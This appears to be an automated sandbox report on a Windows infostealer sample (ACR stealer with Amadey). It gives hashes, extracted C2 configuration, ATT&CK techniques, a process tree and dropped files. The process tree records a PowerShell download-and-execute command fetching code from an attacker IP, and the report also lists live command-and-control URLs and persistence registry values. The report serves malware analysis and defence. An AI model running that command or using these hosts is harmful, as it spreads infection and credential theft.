acrstealer | 4ae7549d216931a6414b8427bbd8ed2e2e79d3a61ba5cda8e2e0006e7cd6002c

Analysis

max time kernel
299s
max time network
288s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20251017-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
08/11/2025, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup.exe
Size 1.7MB
Sample251108-ppf4psypbp
SHA256 9155314a52c72e0b5c43e6eb061b212b5c2f827ce61130e1675f02c6aa0bef3a
MD5 74ac74e35ac92b4c333e9e109175f200
SHA1 7f5ced215382ca9b711690d0af93156f88a17655
SHA512 8b0b1c1393212faecf70a5dcd1a9518d8847c3b484374321063c39a37bd96bbc6c8a3a7f02afd5d80aeebb09cb6a61e763da63fbd3481afb1762f82986866cb4
SSDEEP 49152:mFiOZTQxQc0t2YwTaiKgLnumlbT8vabrlUX:n8TgLnu8BFUX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

2265ca discovery execution acrstealer amadey persistence spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family

acrstealer

Attributes

ddrs
crl4.digicert.com

Extracted

Family

amadey

Version

5.70

Botnet

2265ca

http://mi.huffproofs.com

Attributes

install_dir
3be1510d5b
install_file
Pwvoqdmgn.exe
strings_key
13416e8592239dcfe754c2affc83cb4f
url_paths
/kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Acrstealer family
acrstealer
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects Amadey x86-bit Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3244-202-0x0000000000660000-0x00000000006CF000-memory.dmp	family_amadey_v2

Detects unpacked ACRstealer payload 6 IoCs

resource	yara_rule
behavioral2/memory/3880-8-0x0000000000400000-0x000000000043D000-memory.dmp	family_acrstealer_payload
behavioral2/memory/3880-15-0x0000000000400000-0x000000000043D000-memory.dmp	family_acrstealer_payload
behavioral2/memory/3880-17-0x0000000000400000-0x000000000043D000-memory.dmp	family_acrstealer_payload
behavioral2/memory/3880-24-0x0000000000400000-0x000000000043D000-memory.dmp	family_acrstealer_payload
behavioral2/memory/3880-27-0x0000000000400000-0x000000000043D000-memory.dmp	family_acrstealer_payload
behavioral2/memory/3880-77-0x0000000000400000-0x000000000043D000-memory.dmp	family_acrstealer_payload

Badlisted process makes network request 64 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
40	1440	powershell.exe
46	1548	rundll32.exe
47	1548	rundll32.exe
48	1548	rundll32.exe
49	1548	rundll32.exe
50	784	rundll32.exe
51	784	rundll32.exe
52	784	rundll32.exe
53	784	rundll32.exe
54	784	rundll32.exe
55	784	rundll32.exe
56	784	rundll32.exe
57	784	rundll32.exe
58	784	rundll32.exe
59	784	rundll32.exe
60	1548	rundll32.exe
61	1548	rundll32.exe
62	1548	rundll32.exe
63	1548	rundll32.exe
64	1548	rundll32.exe
65	1548	rundll32.exe
71	784	rundll32.exe
72	784	rundll32.exe
73	784	rundll32.exe
74	784	rundll32.exe
75	784	rundll32.exe
76	784	rundll32.exe
77	784	rundll32.exe
78	784	rundll32.exe
79	784	rundll32.exe
80	784	rundll32.exe
81	1548	rundll32.exe
82	1548	rundll32.exe
83	1548	rundll32.exe
84	1548	rundll32.exe
85	1548	rundll32.exe
86	1548	rundll32.exe
87	1548	rundll32.exe
88	1548	rundll32.exe
89	1548	rundll32.exe
90	1548	rundll32.exe
91	784	rundll32.exe
92	784	rundll32.exe
93	784	rundll32.exe
94	784	rundll32.exe
98	784	rundll32.exe
100	784	rundll32.exe
101	784	rundll32.exe
102	784	rundll32.exe
103	784	rundll32.exe
104	784	rundll32.exe
105	1548	rundll32.exe
106	1548	rundll32.exe
107	1548	rundll32.exe
108	1548	rundll32.exe
109	1548	rundll32.exe
110	1548	rundll32.exe
111	1548	rundll32.exe
112	1548	rundll32.exe
113	1548	rundll32.exe
114	1548	rundll32.exe
115	784	rundll32.exe
116	784	rundll32.exe
117	784	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-504656135-2477973602-2582703837-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\7G3AMCJB = "\"C:\\Users\\Admin\\AppData\\Roaming\\dea89b9f50f102dee38d15d253cdefd4\\endpointService.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\dea89b9f50f102dee38d15d253cdefd4\\tipper\""	endpointService.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-504656135-2477973602-2582703837-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\COVLMF02 = "\"C:\\Users\\Admin\\AppData\\Roaming\\dea89b9f50f102dee38d15d253cdefd4\\endpointService.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\dea89b9f50f102dee38d15d253cdefd4\\tipper\""	endpointService.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-504656135-2477973602-2582703837-1000\Control Panel\International\Geo\Nation	vz.tmp

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 520 set thread context of 3880	520	Setup.exe	84
PID 3880 set thread context of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 set thread context of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 set thread context of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 set thread context of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 set thread context of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 set thread context of 2280	3880	MicrosoftEdgeUpdate.exe	95
PID 3880 set thread context of 1112	3880	MicrosoftEdgeUpdate.exe	96
PID 3880 set thread context of 3900	3880	MicrosoftEdgeUpdate.exe	97
PID 3880 set thread context of 3244	3880	MicrosoftEdgeUpdate.exe	100
PID 3880 set thread context of 1352	3880	MicrosoftEdgeUpdate.exe	101

Executes dropped EXE 6 IoCs

pid	Process
4824	vz.exe
2860	vz.tmp
3020	vz.exe
1372	vz.tmp
4172	endpointService.exe
2428	endpointService.exe

Loads dropped DLL 7 IoCs

pid	Process
3880	MicrosoftEdgeUpdate.exe
4172	endpointService.exe
4172	endpointService.exe
1548	rundll32.exe
2428	endpointService.exe
2428	endpointService.exe
784	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1960	1352	WerFault.exe	101

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vz.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	endpointService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	endpointService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vz.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vz.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	42	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
520	Setup.exe
520	Setup.exe
520	Setup.exe
520	Setup.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe
3880	MicrosoftEdgeUpdate.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
520	Setup.exe
520	Setup.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1372	vz.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 520 wrote to memory of 3880	520	Setup.exe	84
PID 520 wrote to memory of 3880	520	Setup.exe	84
PID 520 wrote to memory of 3880	520	Setup.exe	84
PID 520 wrote to memory of 3880	520	Setup.exe	84
PID 520 wrote to memory of 3880	520	Setup.exe	84
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3880 wrote to memory of 3580	3880	MicrosoftEdgeUpdate.exe	88
PID 3580 wrote to memory of 3880	3580	chrome.exe	84
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 888	3880	MicrosoftEdgeUpdate.exe	90
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 1328	3880	MicrosoftEdgeUpdate.exe	92
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 64	3880	MicrosoftEdgeUpdate.exe	93
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94
PID 3880 wrote to memory of 3940	3880	MicrosoftEdgeUpdate.exe	94

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:520
- C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:1328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:64
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:3940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:2280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:1112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:3900
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1440
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3244
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1352
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 628
      4⤵
      Program crash
      PID:1960
- - C:\Users\Admin\vz.exe
    C:\Users\Admin\vz.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4824
  - - C:\Users\Admin\AppData\Local\Temp\is-2HPRV.tmp\vz.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-2HPRV.tmp\vz.tmp" /SL5="$60118,18906120,882176,C:\Users\Admin\vz.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2860
    - - C:\Users\Admin\vz.exe
        
        "C:\Users\Admin\vz.exe" /VERYSILENT
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3020
      - C:\Users\Admin\AppData\Local\Temp\is-FT57D.tmp\vz.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FT57D.tmp\vz.tmp" /SL5="$7024C,18906120,882176,C:\Users\Admin\vz.exe" /VERYSILENT
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1372
        
        C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
        
        "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe" tipper
        7⤵
        Adds Run key to start application
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:4172
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\help.dll",main
        8⤵
        Badlisted process makes network request
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1548

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1356

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1352 -ip 1352
1⤵
PID:3948

C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
"C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe" "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\tipper"
1⤵
- Adds Run key to start application
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2428
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\help.dll",main
  2⤵
  - Badlisted process makes network request
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

178976D.tmp

Path C:\Users\Admin\AppData\Local\Temp\178976D.tmp
Size 1.2MB
SHA256 ba8012be738493eb69c5761ec4dc7bbbb33a55c9b406679b2fec41144a40f74a
MD5 f1998ae43bf6b2262ecdb2673c7e3aba
SHA1 61f2fe18b17716cdcc4bfc7e85870a6acc8b894e
SHA512 715f5eaced52e63f73e66e380df4affc7578c9db4035fdd0026c5dec3ec850183a235d07d06760bd5d2ee37316ff2c851421c77395b835368b526fe4ef8880fd
SSDEEP 24576:vFWkVdaUq12JpGu6ATH5VzcPatxwzu5yTkrJdWljkKtsyafy/AH+R:kkVdaUq12zuA7Htzwzugor8tsFNeR
MD5 SHA1 SHA512 SSDEEP

Submit Download

469B642.tmp

Path C:\Users\Admin\AppData\Local\Temp\469B642.tmp
Size 40B
SHA256 9dc35a1f36bf2ce6d57c78b61a9b74e7034709ff6fd637d193ba2c798f204958
MD5 823d9e1f823d142ba251e0bd5ba55770
SHA1 c1a7b62881cac75732994230f8aaf35b7d1d368b
SHA512 d6f303ac3ad579d5a915db85c01fbf6ebf2955ca38ef43a13185d09c55bf2b3a32685aa7f4109173a4f0ec25cc3cc036c5f64eef6d38b65789b8b6c78c97478e
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_dlyjwfzi.3eb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dlyjwfzi.3eb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

vz.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-2HPRV.tmp\vz.tmp
Size 3.6MB
SHA256 c36d834949ecc463936800d1f100f642e2c65686a0b6d49aeac0af880f6f2000
MD5 b79cf8f772d83d59291119733a0bdeff
SHA1 da69015450f97d9e922dc7d6a507016ac30ebefc
SHA512 439ef3657c508887c484217cd66cedc2dd22922bbb18d3764de2e465739d9ef4faf87daa94897d0ff3c465d7c546029e9a71f4456409ad47390d11aadc4b65af
SSDEEP 49152:I44B+lNsHPWeelGdwSxQRw9CuL0wijepA8oGd9Tg70azpkf+333TH:XIPp70wijepoGzgbA+333T
MD5 SHA1 SHA512 SSDEEP

Submit Download

MicrosoftEdgeUpdate.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeUpdate.exe
Size 201KB
SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
MD5 41680b5d08d0f18ec731b58a73de4781
SHA1 30eb01cd07f55adaca44edcdcfbc152148078669
SHA512 f936c26a26c5268a142f56c7ca0277efea42404a405679ac23060085ffe96702871ec8d2e0db5534878a03948e99f9464cb8a9da20784f9b0308be9ad30891ce
SSDEEP 3072:vHrfzYBc6X/YoW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEZ:GAel/DRfkTC3dM7B+mCL
MD5 SHA1 SHA512 SSDEEP

Submit Download

endpointService.exe

Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\endpointService.exe
Size 93KB
SHA256 51182a4dc90f0d8019031e27f9fb8f8f2b8d73cd0c8f5ad5aac194c9f3f5c1e1
MD5 867945992b1375b625b16f0e5ba1b623
SHA1 af2e140ecd754d2e700c7043c26b35f0a1e4c982
SHA512 d46c21753edaa50ec6e913932bccec59b59da2077fa4ef66abcaadc4f5e291dc21662c11c0c607c9be65bb52e9190b9f8e216aa7319e2d4ff26e876b85457a68
SSDEEP 1536:4CRDohIxHHWMpdPa5wiE21M8kJIGFvb1CwP/D3s52y5WVO:5DoSwMpdCq/IM8uIGfl/D3s5d
MD5 SHA1 SHA512 SSDEEP

Submit Download

help.dll

Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\help.dll
Size 4.2MB
SHA256 df318a3137b6aacae44140f3884d0907e62b98439af6174b2e987b1186246799
MD5 9a405582e8c7b9ec1f1c26f11bc5f018
SHA1 67b8257918fbfa39dd9b292c588735d93f0246eb
SHA512 0bf6903350e2707e237927551e921d4e61fb026205313a0fdd1d9b2bcff652f4fdbb287b87e7aa1d40798aff881b40dffdaf158758642498667926507b117b4f
SSDEEP 98304:1v9HXXyyAy/PegGtNXITUhDQ0ma8SkjlBXJlpER:1ygGtk2DQfaJilVnpER
MD5 SHA1 SHA512 SSDEEP

Submit Download

python38._pth

Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38._pth
Size 79B
SHA256 df1f2a305dea16f99a05fffe0cb5fabf453aae7ab8924f7bd6cc440719e2e966
MD5 2b47554c789cc782db5a005507ca1165
SHA1 479ed52bff4691d6ce899c489a9f221fe00d418a
SHA512 b1083e77a0189edadbd79a133eb0ce08d11e5fb4362f0f61f143bdd6630c5f42005e32ecd152edf89e9e13bb1f195f99ee7d2f54bec02eccca57173bc8a0cb96
MD5 SHA1 SHA512

Submit Download

python38.dll

Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.dll
Size 3.7MB
SHA256 c4220a975f093d52702f93f39cc0e7b56f9057f8b6af26c2a0b63f5a555d0e31
MD5 5eb4227ca3526a3c287a3fecc9a91b92
SHA1 35e1cb934a88d1fea2a595b1b48033804d9beeb0
SHA512 515403b537e709c0786db8fd689b40173c49310eb43c392a2fb0a8a69eb37946975c9c832715584caf01076da57ae3f812557f1ecbfe3d34907b60b8f4f5e679
SSDEEP 49152:WpQXxFKGXLKg3qwzzXD5UccsnLTqQGoDCPIpzkHMyMZnQP66ATP7P+LV7aTj:gPg3asL+ElpYH7MZF6caVoj
MD5 SHA1 SHA512 SSDEEP

Submit Download

python38.zip

Path C:\Users\Admin\AppData\Roaming\dea89b9f50f102dee38d15d253cdefd4\python38.zip
Size 2.3MB
SHA256 962f8d05631d598fe0e0ca726a2be700dd460541813177527399fb12534fc0e9
MD5 9c3193bad951f9d896216ce43f55fdc1
